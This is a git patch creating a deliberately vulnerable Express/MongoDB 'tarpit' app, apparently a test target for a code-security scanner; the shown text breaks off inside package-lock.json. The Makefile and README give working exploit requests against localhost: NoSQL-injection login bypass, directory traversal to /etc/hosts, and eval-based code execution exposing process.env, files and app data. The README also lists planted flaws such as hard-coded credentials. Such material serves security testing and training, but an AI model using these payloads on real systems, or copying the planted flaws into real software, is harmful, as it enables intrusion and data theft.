From fb0f40206c794466c21e01e8e8ad8eccf1353c8e Mon Sep 17 00:00:00 2001 From: Alex Hornbake Date: Wed, 24 Jun 2020 17:41:47 +0200 Subject: [PATCH] initial commit --- .gitignore | 2 + .inspect.yml | 11 + Dockerfile | 7 + LICENCE.md | 202 +++++ Makefile | 17 + README.md | 86 ++ db-init.ts | 196 ++++ docker-compose.yml | 21 + index.ts | 1 + package-lock.json | 1540 ++++++++++++++++++++++++++++++++ package.json | 40 + shiftleft.json | 5 + src/Constants/Regex.ts | 49 + src/Constants/index.ts | 2 + src/Controllers/ImageLookup.ts | 13 + src/Controllers/Login.ts | 97 ++ src/Controllers/Order.ts | 119 +++ src/Controllers/Secured.ts | 28 + src/DB/MongoDBClient.ts | 32 + src/DB/index.ts | 5 + src/Integrations/Mail.ts | 48 + src/Logger/Logger.ts | 22 + src/Logger/index.ts | 2 + src/Views/Login.pug | 40 + src/Views/SecureGet.pug | 9 + src/Views/UserInput.pug | 27 + src/api.ts | 24 + src/index.ts | 1 + src/server.ts | 69 ++ src/views.ts | 33 + tsconfig.json | 31 + tslint.json | 87 ++ 32 files changed, 2866 insertions(+) create mode 100644 .gitignore create mode 100644 .inspect.yml create mode 100644 Dockerfile create mode 100644 LICENCE.md create mode 100644 Makefile create mode 100644 README.md create mode 100644 db-init.ts create mode 100644 docker-compose.yml create mode 100644 index.ts create mode 100644 package-lock.json create mode 100644 package.json create mode 100644 shiftleft.json create mode 100644 src/Constants/Regex.ts create mode 100644 src/Constants/index.ts create mode 100644 src/Controllers/ImageLookup.ts create mode 100644 src/Controllers/Login.ts create mode 100644 src/Controllers/Order.ts create mode 100644 src/Controllers/Secured.ts create mode 100644 src/DB/MongoDBClient.ts create mode 100644 src/DB/index.ts create mode 100644 src/Integrations/Mail.ts create mode 100644 src/Logger/Logger.ts create mode 100644 src/Logger/index.ts create mode 100644 src/Views/Login.pug create mode 100644 src/Views/SecureGet.pug create mode 100644 src/Views/UserInput.pug create mode 100644 src/api.ts create mode 100644 src/index.ts create mode 100644 src/server.ts create mode 100644 src/views.ts create mode 100644 tsconfig.json create mode 100644 tslint.json diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..76add878 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +node_modules +dist \ No newline at end of file diff --git a/.inspect.yml b/.inspect.yml new file mode 100644 index 00000000..f01a153b --- /dev/null +++ b/.inspect.yml @@ -0,0 +1,11 @@ +inspect: +- app: + name: ShiftLeftJS + additional-findings: + - hsl-secrets + policy: io.shiftleft/default + language: JAVASCRIPT +additional-findings: + hsl-secrets: + entropy: 0.5 + name: secrets diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000..01c82a01 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,7 @@ +FROM node:12.12 + +WORKDIR /usr/src/app +COPY ./ ./ +RUN npm install + +ENTRYPOINT [ "npm", "run", "start" ] diff --git a/LICENCE.md b/LICENCE.md new file mode 100644 index 00000000..8fad32df --- /dev/null +++ b/LICENCE.md @@ -0,0 +1,202 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright 2019 ShiftLeft, Inc. + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. + diff --git a/Makefile b/Makefile new file mode 100644 index 00000000..8b64f3fb --- /dev/null +++ b/Makefile @@ -0,0 +1,17 @@ +package: + docker build -t tarpit-expressjs-mongodb:latest . + +start: + docker-compose up --build --abort-on-container-exit --remove-orphans + +exploit-login: + http --print=HB POST http://localhost:8089/api/v1/login username:='{"$gt": ""}' password:='{"$gt": ""}' + +exploit-user-login: + http --print=HB POST http://localhost:8089/api/v1/login username:='Mcconnell_Stefanie' password:='{"$gt": ""}' + +exploit-env: + http GET http://localhost:8089/user-input userInput=="process.env" + +exploit-read-file: + http GET http://localhost:8089/user-input userInput=="require(\"fs\").readFileSync('/etc/hosts').toString();" \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 00000000..eb6324fa --- /dev/null +++ b/README.md @@ -0,0 +1,86 @@ +# NodeJS Tarpit + +An ExpressJS (tarpit) application using mongoDB. + +I am using [httpie](https://httpie.org), an alternative to curl to trigger exploits. + +## Getting started + +:crossed_fingers::crossed_fingers::crossed_fingers: I hope all goes as smooth as possible + +### Pre-requisites (Running without docker) + +- [NodeJS](https://nodejs.org/en/) Get the latest version +- [MongoDB Community Edition](https://docs.mongodb.com/manual/administration/install-community/) Install Mongodb Community Edition and run setup provided in documentation + +### Pre-requisites (Running with docker) + +- Docker +- Run the command `make start` + +### Setup (if not using docker) + +start mongoDB server (`sudo mongod`) +start mongoDB client (`mongo`) +Insert user rows using the query + +```bash +node db-init.js +``` + +### Installation (if not using docker) + +Run `npm install` to install all dependencies for the project to run + +### Run Application (if not using docker) + +Run `npm run server` to start the application and you will provided a local address to open in browser + +## Exploits + +### No SQL Injection + +Login can be exploited with the following query as the username and password are not validated + +```bash +http --print=HB POST http://localhost:8089/api/v1/login username:='{"$gt": ""}' password:='{"$gt": ""}' +``` + +### Directory Traversal Vulnerability + +Can get access to any file on the server using the command + +```bash +http GET http://localhost:8089/api/v1/image-lookup image=="/etc/hosts" +``` + +### Remote Code Execution + +RCE exploting `eval` on server + +```bash +http GET http://localhost:8089/user-input userInput=="console.log(process.env)" +``` + +Injecting script onto user browser + +```bash +http GET http://localhost:8089/user-input userInput=="alert('You system is under our control now.')" +``` + +Can exploit the whole server by injecting something like the code below (https://medium.com/lift-security/in-memory-backdoor-for-node-js-express-apps-2a3f4301925b) + +```bash +http GET http://localhost:8089/user-input userInput=="res.cookie('appLocals',JSON.stringify(req.app.locals))" +``` + +## Vulnerabilities + +- [x] [directory traversal](src/Controllers/ImageLookup.js#L9) +- [x] [nosql injection](src/Controllers/Login.js#L33...L36) +- [x] [remote code execution](src/views.js#L19): [UserInput](src/Views/UserInput.pug#L6) +- [x] [sensitive data leak](src/Controllers/Login.js#L47) +- [x] [insider attack](src/server.js#L22...L31) +- [x] [business logic flaw](src/Controllers/Order.js#L69...L79) +- [x] [business logic flaw](src/Controllers/Order.js#L100...L110) +- [x] [hard coded credentials](src/Controllers/Order.js#L55...L63) diff --git a/db-init.ts b/db-init.ts new file mode 100644 index 00000000..6ff70ba7 --- /dev/null +++ b/db-init.ts @@ -0,0 +1,196 @@ +import { MongoDBClient } from './src/DB/MongoDBClient'; +const timeoutRef = setTimeout(console.log, 20000); + +function initDB() { + new MongoDBClient().connect(async function(err, client) { + if (err) { + console.error(err); + process.exit(1); + } + const db = client.db('tarpit', { returnNonCachedInstance: true }); + + await createUsers(db); + clearTimeout(timeoutRef); + console.log('Database initialized'); + + console.log(await db.stats()); + + await client.close(); + }); +} +setTimeout(initDB, 10000); + +async function createUsers(db) { + /* JSON Generated from https://next.json-generator.com + [ + { + 'repeat(10)': { + _id: '{{objectId()}}', + age: '{{integer(20, 40)}}', + firstName: '{{firstName()}}', + lastName: '{{surname()}}', + company: '{{company().toUpperCase()}}', + email(tags) { + return `${this.firstName}.${this.lastName}@${this.company}${tags.domainZone()}`.toLowerCase(); + }, + phone: '+1 {{phone()}}', + address: '{{integer(100, 999)}} {{street()}}, {{city()}}, {{state()}}', + zipCode: '{{integer(100, 10000)}}', + creditCard: '{{guid()}}', + username() { + return `${this.lastName}_${this.firstName}`; + }, + password: '{{lorem(1, "words")}}' + } + } + ] + */ + + try { + await db.collection('users').drop(); + } catch (ex) { + console.error(ex); + } + return await db.collection('users').insertMany([ + { + _id: '5da7676ce86f5ea81ff1a6b9', + age: 27, + firstName: 'Alexis', + lastName: 'Hopper', + company: 'OBLIQ', + email: 'alexis.hopper@obliq.net', + phone: '+1 (925) 494-3355', + address: '356 Essex Street, Defiance, Washington', + zipCode: 6847, + creditCard: '8067e0fa-6257-4c3b-ad65-3be58407aec9', + username: 'Hopper_Alexis', + password: 'velit' + }, + { + _id: '5da7676ca2d1bd0af6c2d1ea', + age: 24, + firstName: 'Austin', + lastName: 'Bean', + company: 'PANZENT', + email: 'austin.bean@panzent.org', + phone: '+1 (976) 478-3057', + address: '829 Regent Place, Slovan, Wisconsin', + zipCode: 4308, + creditCard: '53f17923-8570-47aa-8dfb-cf0a06960c24', + username: 'Bean_Austin', + password: 'velit' + }, + { + _id: '5da7676cf60eb4346135eba2', + age: 38, + firstName: 'Stefanie', + lastName: 'Mcconnell', + company: 'GEEKY', + email: 'stefanie.mcconnell@geeky.com', + phone: '+1 (812) 410-2261', + address: '703 Bryant Street, Blende, New Mexico', + zipCode: 3923, + creditCard: '2fe32288-1170-4473-90a0-bc9dda35808d', + username: 'Mcconnell_Stefanie', + password: 'adipisicing' + }, + { + _id: '5da7676c9e2211a2d5666fb4', + age: 20, + firstName: 'Joyner', + lastName: 'Taylor', + company: 'NEBULEAN', + email: 'joyner.taylor@nebulean.tv', + phone: '+1 (870) 587-3097', + address: '223 Ross Street, Irwin, Kansas', + zipCode: 6212, + creditCard: '11f4cf91-8bfa-4b7d-bf0e-c62a1a7a4cdc', + username: 'Taylor_Joyner', + password: 'reprehenderit' + }, + { + _id: '5da7676c9a90e183896faaad', + age: 22, + firstName: 'Sawyer', + lastName: 'Singleton', + company: 'SCENTY', + email: 'sawyer.singleton@scenty.biz', + phone: '+1 (976) 458-2882', + address: '197 McKibbin Street, Golconda, Arkansas', + zipCode: 6751, + creditCard: '2ed79a48-ba3e-4765-9e38-4485a5ef477d', + username: 'Singleton_Sawyer', + password: 'ut' + }, + { + _id: '5da7676cb7a174cbfab07a2f', + age: 37, + firstName: 'Potts', + lastName: 'Mccullough', + company: 'FURNAFIX', + email: 'potts.mccullough@furnafix.io', + phone: '+1 (806) 527-3795', + address: '980 Amity Street, Tecolotito, Vermont', + zipCode: 9137, + creditCard: 'e0051644-143c-4b9f-a880-3de60663261d', + username: 'Mccullough_Potts', + password: 'veniam' + }, + { + _id: '5da7676ca1c04e3c74a0eff2', + age: 38, + firstName: 'English', + lastName: 'Daniels', + company: 'SUPPORTAL', + email: 'english.daniels@supportal.biz', + phone: '+1 (890) 514-2523', + address: '842 Herkimer Place, Lithium, Montana', + zipCode: 7104, + creditCard: 'b35e26be-d1c9-4a88-9bb0-61cbb33acdea', + username: 'Daniels_English', + password: 'minim' + }, + { + _id: '5da7676c60b6aa83b1f1f164', + age: 35, + firstName: 'Allison', + lastName: 'Mullen', + company: 'ONTALITY', + email: 'allison.mullen@ontality.ca', + phone: '+1 (842) 422-2577', + address: '431 Rockwell Place, Roderfield, Maryland', + zipCode: 9920, + creditCard: '4296a5ff-40e3-4557-964e-6cf9920d07e6', + username: 'Mullen_Allison', + password: 'veniam' + }, + { + _id: '5da7676c4ff7bf4248309e3b', + age: 27, + firstName: 'Hansen', + lastName: 'Farmer', + company: 'METROZ', + email: 'hansen.farmer@metroz.me', + phone: '+1 (934) 447-3223', + address: '866 Mill Street, Stockdale, Alaska', + zipCode: 5357, + creditCard: '7ef425ef-b7e7-447a-b7fa-8982ac09000a', + username: 'Farmer_Hansen', + password: 'dolore' + }, + { + _id: '5da7676c8197615bddd87f5d', + age: 38, + firstName: 'Monica', + lastName: 'Stein', + company: 'KAGE', + email: 'monica.stein@kage.name', + phone: '+1 (911) 560-2495', + address: '989 Radde Place, Alleghenyville, Maine', + zipCode: 5691, + creditCard: '2ef14544-ab4c-4814-8968-9242f1e26a83', + username: 'Stein_Monica', + password: 'ipsum' + } + ]); +} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 00000000..068b522c --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,21 @@ +version: '3.7' + +services: + mongo: + image: mongo:4.2 + restart: always + ports: + - 27017:27017 + environment: + MONGO_INITDB_ROOT_USERNAME: admin + MONGO_INITDB_ROOT_PASSWORD: password + MONGO_INITDB_DATABASE: tarpit + + tarpit-expressjs-mongodb: + build: + context: ./ + dockerfile: Dockerfile + ports: + - '8089:8089' + depends_on: + - mongo diff --git a/index.ts b/index.ts new file mode 100644 index 00000000..b851ab63 --- /dev/null +++ b/index.ts @@ -0,0 +1 @@ +require("./src"); diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 00000000..36ae0111 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1540 @@ +{ + "name": "@hoolicorp/shiftleft-ts-example", + "version": "1.0.0", + "lockfileVersion": 1, + "requires": true, + "dependencies": { + "@babel/code-frame": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.10.1.tgz", + "integrity": "sha512-IGhtTmpjGbYzcEDOw7DcQtbQSXcG9ftmAXtWTu9V936vDye4xjjekktFAtgZsWpzTj/X01jocB46mTywm/4SZw==", + "dev": true, + "requires": { + "@babel/highlight": "^7.10.1" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.10.1.tgz", + "integrity": "sha512-5vW/JXLALhczRCWP0PnFDMCJAchlBvM7f4uk/jXritBnIa6E1KmqmtrS3yn1LAnxFBypQ3eneLuXjsnfQsgILw==", + "dev": true + }, + "@babel/highlight": { + "version": "7.10.1", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.10.1.tgz", + "integrity": "sha512-8rMof+gVP8mxYZApLF/JgNDAkdKa+aJt3ZYxF8z6+j/hpeXL7iMsKCPHa2jNMHu/qqBwzQF4OHNoYi8dMA/rYg==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.10.1", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@types/axios": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/@types/axios/-/axios-0.14.0.tgz", + "integrity": "sha1-7CMA++fX3d1+udOr+HmZlkyvzkY=", + "dev": true, + "requires": { + "axios": "*" + } + }, + "@types/babel-types": { + "version": "7.0.7", + "resolved": "https://registry.npmjs.org/@types/babel-types/-/babel-types-7.0.7.tgz", + "integrity": "sha512-dBtBbrc+qTHy1WdfHYjBwRln4+LWqASWakLHsWHR2NWHIFkv4W3O070IGoGLEBrJBvct3r0L1BUPuvURi7kYUQ==" + }, + "@types/babylon": { + "version": "6.16.5", + "resolved": "https://registry.npmjs.org/@types/babylon/-/babylon-6.16.5.tgz", + "integrity": "sha512-xH2e58elpj1X4ynnKp9qSnWlsRTIs6n3tgLGNfwAGHwePw0mulHQllV34n0T25uYSu1k0hRKkWXF890B1yS47w==", + "requires": { + "@types/babel-types": "*" + } + }, + "@types/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-W98JrE0j2K78swW4ukqMleo8R7h/pFETjM2DQ90MF6XK2i4LO4W3gQ71Lt4w3bfm2EvVSyWHplECvB5sK22yFQ==", + "dev": true, + "requires": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "@types/bson": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/bson/-/bson-4.0.2.tgz", + "integrity": "sha512-+uWmsejEHfmSjyyM/LkrP0orfE2m5Mx9Xel4tXNeqi1ldK5XMQcDsFkBmLDtuyKUbxj2jGDo0H240fbCRJZo7Q==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/connect": { + "version": "3.4.33", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.33.tgz", + "integrity": "sha512-2+FrkXY4zllzTNfJth7jOqEHC+enpLeGslEhpnTAkg21GkRrWV4SsAtqchtT4YS9/nODBU2/ZfsBY2X4J/dX7A==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, + "@types/cookie-parser": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/@types/cookie-parser/-/cookie-parser-1.4.2.tgz", + "integrity": "sha512-uwcY8m6SDQqciHsqcKDGbo10GdasYsPCYkH3hVegj9qAah6pX5HivOnOuI3WYmyQMnOATV39zv/Ybs0bC/6iVg==", + "dev": true, + "requires": { + "@types/express": "*" + } + }, + "@types/express": { + "version": "4.17.6", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.6.tgz", + "integrity": "sha512-n/mr9tZI83kd4azlPG5y997C/M4DNABK9yErhFM6hKdym4kkmd9j0vtsJyjFIwfRBxtrxZtAfGZCNRIBMFLK5w==", + "dev": true, + "requires": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "*", + "@types/qs": "*", + "@types/serve-static": "*" + } + }, + "@types/express-serve-static-core": { + "version": "4.17.7", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.17.7.tgz", + "integrity": "sha512-EMgTj/DF9qpgLXyc+Btimg+XoH7A2liE8uKul8qSmMTHCeNYzydDKFdsJskDvw42UsesCnhO63dO0Grbj8J4Dw==", + "dev": true, + "requires": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*" + } + }, + "@types/express-session": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/@types/express-session/-/express-session-1.17.0.tgz", + "integrity": "sha512-OQEHeBFE1UhChVIBhRh9qElHUvTp4BzKKHxMDkGHT7WuYk5eL93hPG7D8YAIkoBSbhNEY0RjreF15zn+U0eLjA==", + "dev": true, + "requires": { + "@types/express": "*", + "@types/node": "*" + } + }, + "@types/mime": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-2.0.2.tgz", + "integrity": "sha512-4kPlzbljFcsttWEq6aBW0OZe6BDajAmyvr2xknBG92tejQnvdGtT9+kXSZ580DqpxY9qG2xeQVF9Dq0ymUTo5Q==", + "dev": true + }, + "@types/mongodb": { + "version": "3.5.20", + "resolved": "https://registry.npmjs.org/@types/mongodb/-/mongodb-3.5.20.tgz", + "integrity": "sha512-BN0wJn670DkivxiP7ZW0InX4qBtX01qITaucD+3A+sTgPQo4XUYay0Y+sGM4MJ9OyKDRlb3RQuVAlyeWzl/NoA==", + "dev": true, + "requires": { + "@types/bson": "*", + "@types/node": "*" + } + }, + "@types/node": { + "version": "7.10.11", + "resolved": "https://registry.npmjs.org/@types/node/-/node-7.10.11.tgz", + "integrity": "sha512-uEqP1HlJFhsgD8DOBFdC72/5selvor0mzdQY97zlyo8Q6qPl849cFBWkNpgTXw3jIvb7iNyWsId51/A8HYKzbQ==", + "dev": true + }, + "@types/qs": { + "version": "6.9.3", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.3.tgz", + "integrity": "sha512-7s9EQWupR1fTc2pSMtXRQ9w9gLOcrJn+h7HOXw4evxyvVqMi4f+q7d2tnFe3ng3SNHjtK+0EzGMGFUQX4/AQRA==", + "dev": true + }, + "@types/range-parser": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.3.tgz", + "integrity": "sha512-ewFXqrQHlFsgc09MK5jP5iR7vumV/BYayNC6PgJO2LPe8vrnNFyjQjSppfEngITi0qvfKtzFvgKymGheFM9UOA==", + "dev": true + }, + "@types/serve-static": { + "version": "1.13.4", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.13.4.tgz", + "integrity": "sha512-jTDt0o/YbpNwZbQmE/+2e+lfjJEJJR0I3OFaKQKPWkASkCoW3i6fsUnqudSMcNAfbtmADGu8f4MV4q+GqULmug==", + "dev": true, + "requires": { + "@types/express-serve-static-core": "*", + "@types/mime": "*" + } + }, + "accepts": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.7.tgz", + "integrity": "sha512-Il80Qs2WjYlJIBNzNkK6KYqlVMTbZLXgHx2oT0pU/fjRHyEp+PEfEPY0R3WCwAGVOtauxh1hOxNgIf5bv7dQpA==", + "requires": { + "mime-types": "~2.1.24", + "negotiator": "0.6.2" + } + }, + "acorn": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-3.3.0.tgz", + "integrity": "sha1-ReN/s56No/JbruP/U2niu18iAXo=" + }, + "acorn-globals": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-3.1.0.tgz", + "integrity": "sha1-/YJw9x+7SZawBPqIDuXUZXOnMb8=", + "requires": { + "acorn": "^4.0.4" + }, + "dependencies": { + "acorn": { + "version": "4.0.13", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-4.0.13.tgz", + "integrity": "sha1-EFSVrlNh1pe9GVyCUZLhrX8lN4c=" + } + } + }, + "align-text": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz", + "integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=", + "requires": { + "kind-of": "^3.0.2", + "longest": "^1.0.1", + "repeat-string": "^1.5.2" + } + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" + }, + "asap": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", + "integrity": "sha1-5QNHYR1+aQlDIIu9r+vLwvuGbUY=" + }, + "asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" + }, + "axios": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.19.2.tgz", + "integrity": "sha512-fjgm5MvRHLhx+osE2xoekY70AhARk3a6hkN+3Io1jc00jtquGvxYlKlsFUhmUET0V5te6CcZI7lcv2Ym61mjHA==", + "requires": { + "follow-redirects": "1.5.10" + } + }, + "babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "requires": { + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" + } + }, + "babel-types": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz", + "integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=", + "requires": { + "babel-runtime": "^6.26.0", + "esutils": "^2.0.2", + "lodash": "^4.17.4", + "to-fast-properties": "^1.0.3" + } + }, + "babylon": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz", + "integrity": 